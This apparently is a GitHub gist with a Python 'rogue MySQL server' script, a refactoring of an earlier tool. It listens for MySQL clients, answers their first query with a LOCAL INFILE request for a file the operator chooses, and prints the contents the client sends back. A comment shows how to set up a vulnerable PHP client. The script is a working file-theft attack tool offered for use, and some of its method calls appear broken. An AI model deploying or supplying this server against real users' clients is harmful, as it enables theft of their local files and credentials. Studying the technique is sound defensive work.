Skip to content

Instantly share code, notes, and snippets.

@qtc-de
Created December 9, 2024 20:01
Show Gist options
  • Save qtc-de/a3ffe45d83414187b2f1b47dfadfe5e2 to your computer and use it in GitHub Desktop.
Save qtc-de/a3ffe45d83414187b2f1b47dfadfe5e2 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
# Modernized version of https://github.com/Gifts/Rogue-MySql-Server that works without further dependencies.
# However, this technique does no longer work by default in most MySQL clients. The ability of the server
# to request local files from the client is usually restricted nowadays and needs to be unlocked using specific
# parameters in the client config or the connection string. The following lines show a an example how to emulate
# a vulnerable PHP based MySQL client:
#
# php > $db = new PDO('mysql:host=127.0.0.1;dbname=test', 'root', 'root', array(PDO::MYSQL_ATTR_LOCAL_INFILE => true));
# php > $db->query('SELECT user()');
from __future__ import annotations
import socket
import struct
import asyncio
import argparse
parser = argparse.ArgumentParser(description='''rogue-mysql v1.0.0 - Another rogue-mysql server. All the
heavy lifting was done by Gifts in his original Rogue-MySql-Server
project (https://github.com/Gifts/Rogue-MySql-Server). This script
is just a refactoring to make it run without any further package
requirements.''')
parser.add_argument('file', help='file to read from incoming clients')
parser.add_argument('--ip', default='0.0.0.0', help='the ip to listen on')
parser.add_argument('--port', default=3306, type=int, help='the port to listen on')
class MySqlPacket():
'''
Mimics a MySql package.
'''
def __init__(self, seq: int, payload: bytes) -> None:
'''
'''
self.seq = seq
self.payload = payload
def pack(self) -> bytes:
'''
'''
payload_len = len(self.payload)
if payload_len < 65536:
packet_header = struct.Struct('<Hbb')
header = packet_header.pack(payload_len, 0, self.seq)
else:
packet_header_long = struct.Struct('<Hbbb')
header = packet_header_long.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.seq)
return header + self.payload
def parse(raw_data: bytes) -> MySqlPacket:
'''
'''
seq = raw_data[0]
payload = raw_data[1:]
return MySqlPacket(seq, payload)
async def recv(loop, client) -> MySqlPacket:
'''
'''
data = await loop.sock_recv(client, 3)
length = data[0] + 256 * data[1] + 65536 * data[2] + 1
data = await loop.sock_recv(client, length)
packet = MySqlPacket.parse(data)
return packet
async def send_auth_ok(loop, client, seq) -> None:
'''
'''
auth_ok_package = MySqlPacket(seq, b'\x00\x00\x00\x02\x00\x00\x00')
await loop.sock_sendall(client, auth_ok_package.pack())
async def send_ok(loop, client, seq) -> None:
'''
'''
ok_package = MySqlPacket(seq, b'\x00\x00\x00\x00\x00\x00\x00')
await loop.sock_sendall(client, ok_package.pack())
class MySqlListener():
def __init__(self, ip: str, port: int, file: str) -> None:
'''
'''
self.host = ip
self.port = port
self.file = file
self.socket = None
self.clients = []
async def run(self) -> None:
'''
'''
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.bind((self.host, self.port))
self.socket.listen(5)
self.socket.setblocking(False)
loop = asyncio.get_event_loop()
print(f'[+] Starting Rogue MySql Server on {self.host}:{self.port}')
while True:
client, _ = await loop.sock_accept(self.socket)
self.clients.append(client)
print(f'[+] \tIncomming Connection: {client.getpeername()}')
loop.create_task(handle_client(client, self.file))
def stop(self) -> None:
'''
'''
for client in self.clients:
client.close()
self.socket.close()
async def handle_client(client, file: str) -> None:
'''
'''
welcome_package = MySqlPacket(
0,
b''.join((
b'\x0a', # Protocol
b'5.7.29-ubuntu' + b'\0', # Version
b'\x36\x00\x00\x00', # Thread ID
b'saltsalt' + b'\0', # Salt
b'\xdf\xf7', # Capabilities
b'\x08', # Collation
b'\x02\x00', # Server Status
b'\0' * 13, # Unknown
b'salt2222' + b'\0', # Unknown
))
)
loop = asyncio.get_event_loop()
await loop.sock_sendall(client, welcome_package.pack())
packet = await MySqlPacket.recv(loop, client)
await MySqlPacket.send_auth_ok(loop, client, packet.seq + 1)
while True:
packet = await MySqlPacket.recv(loop, client)
# Payloads starting with 0x03 are query packages
if packet.payload[0] == 0x03:
file_read_package = MySqlPacket(packet.seq + 1, b'\xfb' + file.encode('utf-8'))
await loop.sock_sendall(client, file_read_package.pack())
packet = await MySqlPacket.recv(loop, client)
if len(packet.payload) == 0:
print(f'[-] \tLOCAL INFILE is disabled for client {client.getpeername()}')
else:
print(f'[+] \tContents of {file} for {client.getpeername()}:')
print(packet.payload)
await MySqlPacket.send_ok(loop, client, packet.seq + 1)
break
await MySqlPacket.send_ok(loop, client, packet.seq + 1)
async def main() -> None:
'''
'''
args = parser.parse_args()
mysql_server = MySqlListener(args.ip, args.port, args.file)
try:
await mysql_server.run()
except Exception as e:
mysql_server.stop()
print(e)
asyncio.run(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment